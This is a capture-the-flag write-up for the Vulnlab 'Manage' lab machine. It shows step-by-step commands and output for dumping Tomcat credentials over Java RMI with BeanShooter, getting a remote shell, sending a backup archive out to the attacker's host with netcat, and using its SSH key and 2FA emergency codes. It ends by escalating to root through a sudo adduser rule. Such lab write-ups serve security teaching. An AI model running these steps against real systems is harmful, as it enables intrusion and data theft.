Vulnlab - Manage

Introduction

This write-up covers the exploitation of a vulnerable Ubuntu-based environment featuring Java RMI, Apache Tomcat, and OpenSSH services. The goal is to identify misconfigurations, gain initial access, and escalate privileges to the root user.

Nmap

The following Nmap scan revealed open ports and running services:

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:36:3d:1d:43:62:bd:b3:88:5e:37:b1:fa:bb:87:64 (ECDSA)
|_  256 da:3b:11:08:81:43:2f:4c:25:42:ae:9b:7f:8c:57:98 (ED25519)
2222/tcp  open  java-rmi   Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:38133
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
8080/tcp  open  http       Apache Tomcat 10.1.19
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat/10.1.19
|_http-favicon: Apache Tomcat
38133/tcp open  java-rmi   Java RMI
45591/tcp open  tcpwrapped

Notable findings included:

Java RMI service on ports 2222 and 38133.
Apache Tomcat accessible via port 8080, indicating potential administrative misconfigurations.
Enumeration

Java RMI Enumeration

Using BeanShooter, the RMI service was enumerated, revealing two user accounts for Tomcat:

└─$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.67.218 2222
...
[+] Enumerating tomcat users:
[+]
[+]     - Listing 2 tomcat users:
[+]
[+]             ----------------------------------------
[+]             Username:  manager
[+]             Password:  fhErvo2r9wuTEYiYgt
[+]             Roles:
[+]                        Users:type=Role,rolename="manage-gui",database=UserDatabase
[+]
[+]             ----------------------------------------
[+]             Username:  admin
[+]             Password:  onyRPCkaG4iX72BrRtKgbszd
[+]             Roles:
[+]                        Users:type=Role,rolename="role1",database=UserDatabase

The credentials provided potential access to the Tomcat server and an attack vector for remote code execution.

Exploitation

Remote Code Execution via Java RMI

Using the Standard method provided by BeanShooter, a reverse shell was deployed through the Java RMI service:

└─$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.67.218 2222 tonka                                                                            
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+]     Deplyoing MBean: StandardMBean
[+]     MBean with object name de.qtc.beanshooter:standard=13875786923700 was successfully deployed.
[+]
[+]     Caught NullPointerException while invoking the newTransformer action.
[+]     This is expected bahavior and the attack most likely worked :)
[+]
[+]     Removing MBean with ObjectName de.qtc.beanshooter:standard=13875786923700 from the MBeanServer.
[+]     MBean was successfully removed.

This resulted in a shell with the user tomcat:

└─$ java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.67.218 2222   
[tomcat@10.10.67.218 /]$ whoami
tomcat
[tomcat@10.10.67.218 /]$

Post-Exploitation

Horizontal Privilege Escalation

While exploring the system, a backup file was found in /home/useradmin/backups and exfiltrated to the attacker’s machine using Netcat:

└─$ nc -l -p 1234 > backup.tar.gz

[tomcat@10.10.67.218 /home/useradmin/backups]$ nc 10.8.4.110 1234 < backup.tar.gz

Extracting the archive revealed sensitive files, including an SSH private key and a Google Authenticator configuration file:

└─$ tar -xvzf backup.tar.gz          
...
./.ssh/id_ed25519
...
./.google_authenticator
...

The SSH server required OTP-based 2FA, but the .google_authenticator file included emergency codes to bypass OTP:

└─$ ssh useradmin@10.10.67.218 -i .ssh/id_ed25519
(useradmin@10.10.67.218) Verification code: 
...
useradmin@manage:~$

Vertical Privilege Escalation

The useradmin account had sudo privileges to execute adduser without a password:

useradmin@manage:~$ sudo -l
Matching Defaults entries for useradmin on manage:
    env_reset, timestamp_timeout=1440, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User useradmin may run the following commands on manage:
    (ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$

Ubuntu's default /etc/sudoers configuration grants full privileges to members of the admin group:

useradmin@manage:/$ uname -a
Linux manage 5.15.0-112-generic #122-Ubuntu SMP Thu May 23 07:48:21 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Since this group did not exist on the system, creating a new user named admin triggered its creation and added the user to the group:

useradmin@manage:/$ cat /etc/group | grep -i admin
useradmin:x:1002:

useradmin@manage:/$ sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1005) ...
Adding new user `admin' (1005) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password: 
Retype new password: 
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] 
useradmin@manage:/$ id admin
uid=1005(admin) gid=1005(admin) groups=1005(admin)

By authenticating as the newly created admin user, root privileges were obtained:

useradmin@manage:/$ su admin
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@manage:/$ sudo su
[sudo] password for admin: 
root@manage:/# cat /root/root.txt
VL{CENSORED}
root@manage:/#